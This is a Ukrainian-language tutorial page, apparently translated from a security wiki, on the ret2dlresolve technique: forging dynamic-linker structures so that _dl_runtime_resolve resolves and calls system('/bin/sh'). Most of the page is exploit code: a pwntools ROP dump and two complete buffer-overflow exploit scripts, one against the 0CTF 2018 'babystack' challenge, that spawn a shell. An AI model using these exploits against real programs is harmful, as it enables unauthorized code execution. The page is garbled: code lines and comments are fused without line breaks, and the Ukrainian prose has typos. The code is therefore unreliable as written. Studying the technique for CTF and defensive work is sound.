Як пояснюється на сторінці про GOT/PLT та Relro, бінарники без Full Relro будуть розв'язувати символи (як адреси до зовнішніх бібліотек) перший раз, коли вони використовуються. Це розв'язання відбувається через виклик функції _dl_runtime_resolve.
Функція _dl_runtime_resolve отримує зі стеку посилання на деякі структури, які їй потрібні для розв'язання вказаного символу.
Отже, можливо підробити всі ці структури, щоб динамічно зв'язати запитуваний символ (як функцію system) і викликати її з налаштованим параметром (наприклад, system('/bin/sh')).
Зазвичай всі ці структури підробляються шляхом створення початкового ROP-ланцюга, який викликає read над записуваною пам'яттю, потім структури та рядок **'/bin/sh'** передаються, щоб їх зберегти за допомогою read у відомому місці, а потім ROP-ланцюг продовжується викликом **_dl_runtime_resolve**, маючи на меті **розв'язати адресу system** у підроблених структурах і **викликати цю адресу** з адресою до $'/bin/sh'`.
Ця техніка особливо корисна, якщо немає syscall gadgets (для використання технік, таких як ret2syscall або SROP) і немає способів витоку адрес libc.
Перегляньте це відео для гарного пояснення цієї техніки в другій половині відео:
Або перегляньте ці сторінки для покрокового пояснення:
context.binary = elf =ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))>>> rop =ROP(elf)>>> dlresolve =Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])>>> rop.read(0, dlresolve.data_addr)# do not forget this step, but use whatever function you like>>> rop.ret2dlresolve(dlresolve)>>> raw_rop = rop.chain()>>>print(rop.dump())0x0000:0x400593 pop rdi; ret0x0008:0x0 [arg0] rdi =00x0010:0x400591 pop rsi; pop r15; ret0x0018:0x601e00 [arg1] rsi =62991360x0020:b'iaaajaaa'<pad r15>0x0028:0x4003f0 read0x0030:0x400593 pop rdi; ret0x0038:0x601e48 [arg0] rdi =62992080x0040:0x4003e0 [plt_init] system0x0048:0x15670 [dlresolve index]
Приклад
Чисті Pwntools
Ви можете знайти приклад цієї техніки тутз дуже хорошим поясненням фінального ROP ланцюга, але ось фінальний експлойт, що використовується:
from pwn import*elf = context.binary =ELF('./vuln', checksec=False)p = elf.process()rop =ROP(elf)# create the dlresolve objectdlresolve =Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop.raw('A'*76)rop.read(0, dlresolve.data_addr)# read to where we want to write the fake structuresrop.ret2dlresolve(dlresolve)# call .plt and dl-resolve() with the correct, calculated reloc_offsetlog.info(rop.dump())p.sendline(rop.chain())p.sendline(dlresolve.payload)# now the read is called and we pass all the relevant structures inp.interactive()
Сирийий
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystackfrom pwn import*target =process('./babystack')#gdb.attach(target)elf =ELF('babystack')# Establish starts of various sectionsbss =0x804a020dynstr =0x804822cdynsym =0x80481ccrelplt =0x80482b0# Establish two functionsscanInput =p32(0x804843b)resolve =p32(0x80482f0)#dlresolve address# Establish size of second payloadpayload1_size =43# Our first scan# This will call read to scan in our fake entries into the plt# Then return back to scanInput to re-exploit the bugpayload0 =""payload0 +="0"*44# Filler from start of input to return addresspayload0 +=p32(elf.symbols['read'])# Return readpayload0 += scanInput # After the read call, return to scan inputpayload0 +=p32(0)# Read via stdinpayload0 +=p32(bss)# Scan into the start of the bsspayload0 +=p32(payload1_size)# How much data to scan intarget.send(payload0)# Our second scan# This will be scanned into the start of the bss# It will contain the fake entries for our ret_2_dl_resolve attack# Calculate the r_info value# It will provide an index to our dynsym entrydynsym_offset = ((bss +0xc) - dynsym) /0x10r_info = (dynsym_offset <<8) |0x7# Calculate the offset from the start of dynstr section to our dynstr entrydynstr_index = (bss +28) - dynstrpaylaod1 =""# Our .rel.plt entrypaylaod1 +=p32(elf.got['alarm'])paylaod1 +=p32(r_info)# Emptypaylaod1 +=p32(0x0)# Our dynsm entrypaylaod1 +=p32(dynstr_index)paylaod1 +=p32(0xde)*3# Our dynstr entrypaylaod1 +="system\x00"# Store "/bin/sh" here so we can have a pointer ot itpaylaod1 +="/bin/sh\x00"target.send(paylaod1)# Our third scan, which will execute the ret_2_dl_resolve# This will just call 0x80482f0, which is responsible for calling the functions for resolving# We will pass it the `.rel.plt` index for our fake entry# As well as the arguments for system# Calculate address of "/bin/sh"binsh_bss_address = bss +35# Calculate the .rel.plt offsetret_plt_offset = bss - relpltpaylaod2 =""paylaod2 +="0"*44paylaod2 += resolve # 0x80482f0paylaod2 +=p32(ret_plt_offset)# .rel.plt offsetpaylaod2 +=p32(0xdeadbeef)# The next return address after 0x80482f0, really doesn't matter for uspaylaod2 +=p32(binsh_bss_address)# Our argument, address of "/bin/sh"target.send(paylaod2)# Enjoy the shell!target.interactive()
32bit, без relro, без canary, nx, без pie, базовий малий переповнення буфера та повернення. Для експлуатації використовується переповнення буфера, щоб знову викликати read з секцією .bss та більшим розміром, щоб зберегти там фейкові таблиці dlresolve для завантаження system, повернутися до main і повторно використовувати початкове переповнення буфера, щоб викликати dlresolve, а потім system('/bin/sh').